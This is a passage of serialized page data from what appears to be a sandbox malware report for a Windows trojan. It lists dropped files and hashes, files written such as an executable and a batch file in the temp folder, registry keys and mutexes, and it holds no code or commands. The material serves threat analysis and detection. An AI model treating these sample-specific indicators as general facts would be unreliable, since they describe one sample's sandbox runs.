UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N4XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N24XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N18XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N15XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtf","sha256":"e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N260XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N160XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N270XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N48XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N222XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N232XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N66XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N228XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N396XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N114XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]}],"files_written":[{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%TEMP%\\icon.ico","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%TEMP%\\text.txt","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%TEMP%\\one.rtf","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%TEMP%\\rniw.exe","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%TEMP%\\windl.bat","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"path":"%TEMP%\\v.mp4","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\MEDIAPLAYER\\PREFERENCES\\\\","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\\","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RELIABILITY\\","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RELIABILITY\\USERDEFINED\\","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"SM0:944:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"SM0:944:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"Local\\SM0:944:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"SM0:2624:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"SM0:3940:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"SM0:6612:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"Local\\SM0:6612:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"SM0:7096:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\__?_c:_users_%OSUSER%_appdata_local_microsoft_media player_currentdatabase_372.wmdb","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\__?_c:_users_%OSUSER%_appdata_local_microsoft_media player_currentdatabase_372.wmdb:x","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\__?_c:_users_%OSUSER%_appdata_local_microsoft_media player_currentdatabase_372.wmdb:splk:652","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:1","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:2","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:3","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:4","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:5","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:6","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:7","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:8","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:9","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:10","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:11","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:12","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:13","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:11","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\__?_c:_users_%OSUSER%_appdata_local_microsoft_media player_currentdatabase_372.wmdb","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:1","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:13","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Local\\__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:9","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:8","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:7","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:5","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Local\\__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:10","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:6","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:2","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:12","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:3","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\__?_c:_users_%OSUSER%_appdata_local_microsoft_media player_currentdatabase_372.wmdb:x","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\__?_c:_users_%OSUSER%_appdata_local_microsoft_media player_currentdatabase_372.wmdb:splk:652","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Global\\{e07d2fff-b401-4cf7-8c2f-c4e2af12df01}:sqlce_se_lck:4","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]}]}},"report_ids":{"sandbox_job_ids":["65708f7749e89eb83f018aaa","64c99f98496c480bc802a4c0","5cb4059f0388387297dd495b"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.KillProc.Generic Sample 4a900b344ef7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 4a900b344ef7…. Malware family: Trojan.KillProc.Generic. Threat score 100/100. 17/27 AV engines flagged this file. 15 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.KillProc.Generic Sample 4a900b344ef7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 4a900b344ef7…. Malware family: Trojan.KillProc.Generic. Threat score 100/100. 17/27 AV engines flagged this file. 15 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.KillProc.Generic Sample 4a900b344ef7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 4a900b344ef7…. Malware family: Trojan.KillProc.Generic. Threat score 100/100. 17/27 AV engines flagged this file. 15 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4c","11",{}]]